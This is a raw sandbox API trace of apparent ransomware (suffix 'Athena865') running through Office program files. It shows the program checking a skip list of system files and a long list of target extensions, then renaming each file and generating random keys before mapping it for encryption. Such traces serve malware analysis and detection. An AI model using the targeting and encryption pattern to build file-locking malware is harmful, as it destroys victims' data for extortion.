lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0094.309] lstrlenW (lpString="wdb") returned 3 [0094.309] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0094.309] lstrlenW (lpString="wmdb") returned 4 [0094.309] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0094.309] lstrlenW (lpString="wrk") returned 3 [0094.309] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0094.309] lstrlenW (lpString="xdb") returned 3 [0094.309] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0094.309] lstrlenW (lpString="xld") returned 3 [0094.309] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0094.310] lstrlenW (lpString="xmlff") returned 5 [0094.310] lstrcmpiW (lpString1="V.DLL", lpString2="xmlff") returned -1 [0094.310] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSOHEV.DLL.Athena865") returned 69 [0094.310] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSOHEV.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\msohev.dll"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSOHEV.DLL.Athena865" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\msohev.dll.athena865"), dwFlags=0x1) returned 1 [0094.311] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSOHEV.DLL.Athena865" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\msohev.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0094.311] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=78208) returned 1 [0094.311] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0094.312] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539338 [0094.312] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518bc8 [0094.312] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518a30) returned 1 [0094.312] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0094.312] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0094.313] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13480, lpName=0x0) returned 0x17c [0094.323] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13480) returned 0x100000 [0094.327] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518a30) returned 1 [0094.327] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0094.327] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0094.328] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5393b0 [0094.328] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5393b0 | out: hHeap=0x4f0000) returned 1 [0094.328] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0094.328] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0094.328] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0094.328] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0094.328] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0094.328] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0094.328] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0094.328] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0094.328] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0094.329] CloseHandle (hObject=0x17c) returned 1 [0094.329] CloseHandle (hObject=0x154) returned 1 [0094.329] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539338 | out: hHeap=0x4f0000) returned 1 [0094.329] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518bc8 | out: hHeap=0x4f0000) returned 1 [0094.329] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0094.330] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2994dc00, ftCreationTime.dwHighDateTime=0x1ca91da, ftLastAccessTime.dwLowDateTime=0x21cf1870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2994dc00, ftLastWriteTime.dwHighDateTime=0x1ca91da, nFileSizeHigh=0x0, nFileSizeLow=0x11580, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOHTMED.EXE", cAlternateFileName="")) returned 1 [0094.330] lstrcmpiW (lpString1="MSOHTMED.EXE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0094.330] lstrcmpiW (lpString1="MSOHTMED.EXE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0094.330] lstrcmpiW (lpString1="MSOHTMED.EXE", lpString2=".") returned 1 [0094.330] lstrcmpiW (lpString1="MSOHTMED.EXE", lpString2="..") returned 1 [0094.330] lstrcmpiW (lpString1="MSOHTMED.EXE", lpString2="windows") returned -1 [0094.330] lstrcmpiW (lpString1="MSOHTMED.EXE", lpString2="bootmgr") returned 1 [0094.330] lstrcmpiW (lpString1="MSOHTMED.EXE", lpString2="temp") returned -1 [0094.330] lstrcmpiW (lpString1="MSOHTMED.EXE", lpString2="pagefile.sys") returned -1 [0094.330] lstrcmpiW (lpString1="MSOHTMED.EXE", lpString2="boot") returned 1 [0094.330] lstrcmpiW (lpString1="MSOHTMED.EXE", lpString2="ids.txt") returned 1 [0094.330] lstrcmpiW (lpString1="MSOHTMED.EXE", lpString2="ntuser.dat") returned -1 [0094.330] lstrcmpiW (lpString1="MSOHTMED.EXE", lpString2="perflogs") returned -1 [0094.330] lstrcmpiW (lpString1="MSOHTMED.EXE", lpString2="MSBuild") returned 1 [0094.330] lstrlenW (lpString="MSOHTMED.EXE") returned 12 [0094.330] lstrcpyW (in: lpString1=0x241e8aa, lpString2="MSOHTMED.EXE" | out: lpString1="MSOHTMED.EXE") returned="MSOHTMED.EXE" [0094.330] lstrlenW (lpString="MSOHTMED.EXE") returned 12 [0094.330] lstrlenW (lpString="Athena865") returned 9 [0094.330] lstrcmpiW (lpString1="HTMED.EXE", lpString2="Athena865") returned 1 [0094.330] lstrlenW (lpString=".dll") returned 4 [0094.330] lstrcmpiW (lpString1="MSOHTMED.EXE", lpString2=".dll") returned 1 [0094.330] lstrlenW (lpString=".lnk") returned 4 [0094.330] lstrcmpiW (lpString1="MSOHTMED.EXE", lpString2=".lnk") returned 1 [0094.330] lstrlenW (lpString=".ini") returned 4 [0094.330] lstrcmpiW (lpString1="MSOHTMED.EXE", lpString2=".ini") returned 1 [0094.330] lstrlenW (lpString=".sys") returned 4 [0094.330] lstrcmpiW (lpString1="MSOHTMED.EXE", lpString2=".sys") returned 1 [0094.330] lstrlenW (lpString="MSOHTMED.EXE") returned 12 [0094.330] lstrlenW (lpString="bak") returned 3 [0094.331] lstrcmpiW (lpString1="EXE", lpString2="bak") returned 1 [0094.331] lstrlenW (lpString="ba_") returned 3 [0094.331] lstrcmpiW (lpString1="EXE", lpString2="ba_") returned 1 [0094.331] lstrlenW (lpString="dbb") returned 3 [0094.331] lstrcmpiW (lpString1="EXE", lpString2="dbb") returned 1 [0094.331] lstrlenW (lpString="vmdk") returned 4 [0094.331] lstrcmpiW (lpString1=".EXE", lpString2="vmdk") returned -1 [0094.331] lstrlenW (lpString="rar") returned 3 [0094.331] lstrcmpiW (lpString1="EXE", lpString2="rar") returned -1 [0094.331] lstrlenW (lpString="zip") returned 3 [0094.331] lstrcmpiW (lpString1="EXE", lpString2="zip") returned -1 [0094.331] lstrlenW (lpString="tgz") returned 3 [0094.331] lstrcmpiW (lpString1="EXE", lpString2="tgz") returned -1 [0094.331] lstrlenW (lpString="vbox") returned 4 [0094.331] lstrcmpiW (lpString1=".EXE", lpString2="vbox") returned -1 [0094.331] lstrlenW (lpString="vdi") returned 3 [0094.331] lstrcmpiW (lpString1="EXE", lpString2="vdi") returned -1 [0094.331] lstrlenW (lpString="vhd") returned 3 [0094.331] lstrcmpiW (lpString1="EXE", lpString2="vhd") returned -1 [0094.331] lstrlenW (lpString="vhdx") returned 4 [0094.331] lstrcmpiW (lpString1=".EXE", lpString2="vhdx") returned -1 [0094.331] lstrlenW (lpString="avhd") returned 4 [0094.331] lstrcmpiW (lpString1=".EXE", lpString2="avhd") returned -1 [0094.331] lstrlenW (lpString="db") returned 2 [0094.331] lstrcmpiW (lpString1="XE", lpString2="db") returned 1 [0094.331] lstrlenW (lpString="db2") returned 3 [0094.331] lstrcmpiW (lpString1="EXE", lpString2="db2") returned 1 [0094.331] lstrlenW (lpString="db3") returned 3 [0094.331] lstrcmpiW (lpString1="EXE", lpString2="db3") returned 1 [0094.332] lstrlenW (lpString="dbf") returned 3 [0094.332] lstrcmpiW (lpString1="EXE", lpString2="dbf") returned 1 [0094.332] lstrlenW (lpString="mdf") returned 3 [0094.332] lstrcmpiW (lpString1="EXE", lpString2="mdf") returned -1 [0094.332] lstrlenW (lpString="mdb") returned 3 [0094.332] lstrcmpiW (lpString1="EXE", lpString2="mdb") returned -1 [0094.332] lstrlenW (lpString="sql") returned 3 [0094.332] lstrcmpiW (lpString1="EXE", lpString2="sql") returned -1 [0094.332] lstrlenW (lpString="sqlite") returned 6 [0094.332] lstrcmpiW (lpString1="ED.EXE", lpString2="sqlite") returned -1 [0094.332] lstrlenW (lpString="sqlite3") returned 7 [0094.332] lstrcmpiW (lpString1="MED.EXE", lpString2="sqlite3") returned -1 [0094.332] lstrlenW (lpString="sqlitedb") returned 8 [0094.332] lstrcmpiW (lpString1="TMED.EXE", lpString2="sqlitedb") returned 1 [0094.332] lstrlenW (lpString="xml") returned 3 [0094.332] lstrcmpiW (lpString1="EXE", lpString2="xml") returned -1 [0094.332] lstrlenW (lpString="$er") returned 3 [0094.332] lstrcmpiW (lpString1="EXE", lpString2="$er") returned 1 [0094.332] lstrlenW (lpString="4dd") returned 3 [0094.332] lstrcmpiW (lpString1="EXE", lpString2="4dd") returned 1 [0094.332] lstrlenW (lpString="4dl") returned 3 [0094.332] lstrcmpiW (lpString1="EXE", lpString2="4dl") returned 1 [0094.332] lstrlenW (lpString="^^^") returned 3 [0094.332] lstrcmpiW (lpString1="EXE", lpString2="^^^") returned 1 [0094.332] lstrlenW (lpString="abs") returned 3 [0094.332] lstrcmpiW (lpString1="EXE", lpString2="abs") returned 1 [0094.332] lstrlenW (lpString="abx") returned 3 [0094.332] lstrcmpiW (lpString1="EXE", lpString2="abx") returned 1 [0094.332] lstrlenW (lpString="accdb") returned 5 [0094.332] lstrcmpiW (lpString1="D.EXE", lpString2="accdb") returned 1 [0094.332] lstrlenW (lpString="accdc") returned 5 [0094.332] lstrcmpiW (lpString1="D.EXE", lpString2="accdc") returned 1 [0094.333] lstrlenW (lpString="accde") returned 5 [0094.333] lstrcmpiW (lpString1="D.EXE", lpString2="accde") returned 1 [0094.333] lstrlenW (lpString="accdr") returned 5 [0094.333] lstrcmpiW (lpString1="D.EXE", lpString2="accdr") returned 1 [0094.333] lstrlenW (lpString="accdt") returned 5 [0094.333] lstrcmpiW (lpString1="D.EXE", lpString2="accdt") returned 1 [0094.333] lstrlenW (lpString="accdw") returned 5 [0094.333] lstrcmpiW (lpString1="D.EXE", lpString2="accdw") returned 1 [0094.333] lstrlenW (lpString="accft") returned 5 [0094.333] lstrcmpiW (lpString1="D.EXE", lpString2="accft") returned 1 [0094.333] lstrlenW (lpString="adb") returned 3 [0094.333] lstrcmpiW (lpString1="EXE", lpString2="adb") returned 1 [0094.333] lstrlenW (lpString="adb") returned 3 [0094.333] lstrcmpiW (lpString1="EXE", lpString2="adb") returned 1 [0094.333] lstrlenW (lpString="ade") returned 3 [0094.333] lstrcmpiW (lpString1="EXE", lpString2="ade") returned 1 [0094.333] lstrlenW (lpString="adf") returned 3 [0094.333] lstrcmpiW (lpString1="EXE", lpString2="adf") returned 1 [0094.333] lstrlenW (lpString="adn") returned 3 [0094.333] lstrcmpiW (lpString1="EXE", lpString2="adn") returned 1 [0094.333] lstrlenW (lpString="adp") returned 3 [0094.333] lstrcmpiW (lpString1="EXE", lpString2="adp") returned 1 [0094.333] lstrlenW (lpString="alf") returned 3 [0094.333] lstrcmpiW (lpString1="EXE", lpString2="alf") returned 1 [0094.333] lstrlenW (lpString="ask") returned 3 [0094.333] lstrcmpiW (lpString1="EXE", lpString2="ask") returned 1 [0094.333] lstrlenW (lpString="btr") returned 3 [0094.333] lstrcmpiW (lpString1="EXE", lpString2="btr") returned 1 [0094.333] lstrlenW (lpString="cat") returned 3 [0094.333] lstrcmpiW (lpString1="EXE", lpString2="cat") returned 1 [0094.333] lstrlenW (lpString="cdb") returned 3 [0094.334] lstrcmpiW (lpString1="EXE", lpString2="cdb") returned 1 [0094.334] lstrlenW (lpString="ckp") returned 3 [0094.334] lstrcmpiW (lpString1="EXE", lpString2="ckp") returned 1 [0094.334] lstrlenW (lpString="cma") returned 3 [0094.334] lstrcmpiW (lpString1="EXE", lpString2="cma") returned 1 [0094.334] lstrlenW (lpString="cpd") returned 3 [0094.334] lstrcmpiW (lpString1="EXE", lpString2="cpd") returned 1 [0094.334] lstrlenW (lpString="dacpac") returned 6 [0094.334] lstrcmpiW (lpString1="ED.EXE", lpString2="dacpac") returned 1 [0094.334] lstrlenW (lpString="dad") returned 3 [0094.334] lstrcmpiW (lpString1="EXE", lpString2="dad") returned 1 [0094.334] lstrlenW (lpString="dadiagrams") returned 10 [0094.334] lstrcmpiW (lpString1="OHTMED.EXE", lpString2="dadiagrams") returned 1 [0094.334] lstrlenW (lpString="daschema") returned 8 [0094.334] lstrcmpiW (lpString1="TMED.EXE", lpString2="daschema") returned 1 [0094.334] lstrlenW (lpString="db-journal") returned 10 [0094.334] lstrcmpiW (lpString1="OHTMED.EXE", lpString2="db-journal") returned 1 [0094.334] lstrlenW (lpString="db-shm") returned 6 [0094.334] lstrcmpiW (lpString1="ED.EXE", lpString2="db-shm") returned 1 [0094.334] lstrlenW (lpString="db-wal") returned 6 [0094.334] lstrcmpiW (lpString1="ED.EXE", lpString2="db-wal") returned 1 [0094.334] lstrlenW (lpString="dbc") returned 3 [0094.334] lstrcmpiW (lpString1="EXE", lpString2="dbc") returned 1 [0094.334] lstrlenW (lpString="dbs") returned 3 [0094.334] lstrcmpiW (lpString1="EXE", lpString2="dbs") returned 1 [0094.334] lstrlenW (lpString="dbt") returned 3 [0094.334] lstrcmpiW (lpString1="EXE", lpString2="dbt") returned 1 [0094.334] lstrlenW (lpString="dbv") returned 3 [0094.334] lstrcmpiW (lpString1="EXE", lpString2="dbv") returned 1 [0094.335] lstrlenW (lpString="dbx") returned 3 [0094.335] lstrcmpiW (lpString1="EXE", lpString2="dbx") returned 1 [0094.335] lstrlenW (lpString="dcb") returned 3 [0094.335] lstrcmpiW (lpString1="EXE", lpString2="dcb") returned 1 [0094.335] lstrcmpiW (lpString1="EXE", lpString2="dct") returned 1 [0094.335] lstrcmpiW (lpString1="EXE", lpString2="dcx") returned 1 [0094.335] lstrcmpiW (lpString1="EXE", lpString2="ddl") returned 1 [0094.335] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSOHTMED.EXE.Athena865") returned 71 [0094.335] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSOHTMED.EXE" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\msohtmed.exe"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSOHTMED.EXE.Athena865" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\msohtmed.exe.athena865"), dwFlags=0x1) returned 1 [0094.336] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSOHTMED.EXE.Athena865" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\msohtmed.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0094.336] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=71040) returned 1 [0094.336] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0094.336] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539338 [0094.336] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518bc8 [0094.336] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518a30) returned 1 [0094.337] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0094.337] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0094.337] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11880, lpName=0x0) returned 0x17c [0094.339] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11880) returned 0x100000 [0094.343] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518a30) returned 1 [0094.344] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0094.344] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0094.344] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5393b0 [0094.344] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5393b0 | out: hHeap=0x4f0000) returned 1 [0094.344] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0094.344] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0094.344] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0094.344] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0094.344] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0094.345] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0094.345] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0094.345] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0094.345] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0094.345] CloseHandle (hObject=0x17c) returned 1 [0094.345] CloseHandle (hObject=0x154) returned 1 [0094.346] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539338 | out: hHeap=0x4f0000) returned 1 [0094.346] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518bc8 | out: hHeap=0x4f0000) returned 1 [0094.346] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0094.346] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ae1d400, ftCreationTime.dwHighDateTime=0x1cb7015, ftLastAccessTime.dwLowDateTime=0xadc06160, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6ae1d400, ftLastWriteTime.dwHighDateTime=0x1cb7015, nFileSizeHigh=0x0, nFileSizeLow=0x14d68, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NAME.DLL", cAlternateFileName="")) returned 1 [0094.346] lstrcmpiW (lpString1="NAME.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0094.346] lstrcmpiW (lpString1="NAME.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0094.346] lstrcmpiW (lpString1="NAME.DLL", lpString2=".") returned 1 [0094.346] lstrcmpiW (lpString1="NAME.DLL", lpString2="..") returned 1 [0094.346] lstrcmpiW (lpString1="NAME.DLL", lpString2="windows") returned -1 [0094.346] lstrcmpiW (lpString1="NAME.DLL", lpString2="bootmgr") returned 1 [0094.346] lstrcmpiW (lpString1="NAME.DLL", lpString2="temp") returned -1 [0094.346] lstrcmpiW (lpString1="NAME.DLL", lpString2="pagefile.sys") returned -1 [0094.346] lstrcmpiW (lpString1="NAME.DLL", lpString2="boot") returned 1 [0094.346] lstrcmpiW (lpString1="NAME.DLL", lpString2="ids.txt") returned 1 [0094.346] lstrcmpiW (lpString1="NAME.DLL", lpString2="ntuser.dat") returned -1 [0094.346] lstrcmpiW (lpString1="NAME.DLL", lpString2="perflogs") returned -1 [0094.347] lstrcmpiW (lpString1="NAME.DLL", lpString2="MSBuild") returned 1 [0094.347] lstrlenW (lpString="NAME.DLL") returned 8 [0094.347] lstrcpyW (in: lpString1=0x241e8aa, lpString2="NAME.DLL" | out: lpString1="NAME.DLL") returned="NAME.DLL" [0094.347] lstrlenW (lpString="NAME.DLL") returned 8 [0094.347] lstrlenW (lpString="Athena865") returned 9 [0094.347] lstrlenW (lpString=".dll") returned 4 [0094.347] lstrcmpiW (lpString1="NAME.DLL", lpString2=".dll") returned 1 [0094.347] lstrlenW (lpString=".lnk") returned 4 [0094.347] lstrcmpiW (lpString1="NAME.DLL", lpString2=".lnk") returned 1 [0094.347] lstrlenW (lpString=".ini") returned 4 [0094.347] lstrcmpiW (lpString1="NAME.DLL", lpString2=".ini") returned 1 [0094.347] lstrlenW (lpString=".sys") returned 4 [0094.347] lstrcmpiW (lpString1="NAME.DLL", lpString2=".sys") returned 1 [0094.347] lstrlenW (lpString="NAME.DLL") returned 8 [0094.347] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Office\\Office14\\NAME.DLL.Athena865") returned 67 [0094.347] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\NAME.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\name.dll"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\NAME.DLL.Athena865" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\name.dll.athena865"), dwFlags=0x1) returned 1 [0094.348] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\NAME.DLL.Athena865" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\name.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0094.348] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=85352) returned 1 [0094.348] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0094.348] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539338 [0094.348] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518bc8 [0094.348] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518a30) returned 1 [0094.349] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0094.349] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0094.349] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x15070, lpName=0x0) returned 0x17c [0094.352] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x15070) returned 0x100000 [0094.357] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518a30) returned 1 [0094.357] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0094.357] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0094.357] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5393b0 [0094.357] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5393b0 | out: hHeap=0x4f0000) returned 1 [0094.357] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0094.357] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0094.358] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0094.358] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0094.358] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0094.358] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0094.358] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0094.358] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0094.358] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0094.359] CloseHandle (hObject=0x17c) returned 1 [0094.359] CloseHandle (hObject=0x154) returned 1 [0094.359] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539338 | out: hHeap=0x4f0000) returned 1 [0094.359] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518bc8 | out: hHeap=0x4f0000) returned 1 [0094.359] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0094.359] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2deba300, ftCreationTime.dwHighDateTime=0x1cab99a, ftLastAccessTime.dwLowDateTime=0x220cfc30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2deba300, ftLastWriteTime.dwHighDateTime=0x1cab99a, nFileSizeHigh=0x0, nFileSizeLow=0x3f80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NAMECONTROLPROXY.DLL", cAlternateFileName="NAMECO~1.DLL")) returned 1 [0094.359] lstrcmpiW (lpString1="NAMECONTROLPROXY.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0094.359] lstrcmpiW (lpString1="NAMECONTROLPROXY.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0094.359] lstrcmpiW (lpString1="NAMECONTROLPROXY.DLL", lpString2=".") returned 1 [0094.360] lstrcmpiW (lpString1="NAMECONTROLPROXY.DLL", lpString2="..") returned 1 [0094.360] lstrcmpiW (lpString1="NAMECONTROLPROXY.DLL", lpString2="windows") returned -1 [0094.360] lstrcmpiW (lpString1="NAMECONTROLPROXY.DLL", lpString2="bootmgr") returned 1 [0094.360] lstrcmpiW (lpString1="NAMECONTROLPROXY.DLL", lpString2="temp") returned -1 [0094.360] lstrcmpiW (lpString1="NAMECONTROLPROXY.DLL", lpString2="pagefile.sys") returned -1 